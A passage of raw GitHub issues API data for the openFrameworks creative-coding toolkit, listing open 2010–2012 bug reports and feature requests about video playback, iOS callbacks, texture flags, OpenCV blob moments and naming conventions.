ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/255"},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"assignee":null,"closed_at":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/249"},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/245"},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"assignee":null,"closed_at":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/244"},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/240"},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/236"},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"assignee":null,"closed_at":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/228"},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"assignee":null,"closed_at":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/227"},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"assignee":null,"closed_at":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/225"},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_at":null,"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/224"},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"assignee":null,"closed_at":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/214"},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"assignee":null,"closed_at":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/199"},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"assignee":null,"closed_at":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/194"},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/193"},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"assignee":null,"closed_at":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/182"},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"assignee":null,"closed_at":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/181"},{"updated_at":"2011-12-02T15:44:06Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"assignee":null,"closed_at":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/178"},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"assignee":null,"closed_at":null,"title":"bring examples up to date - make 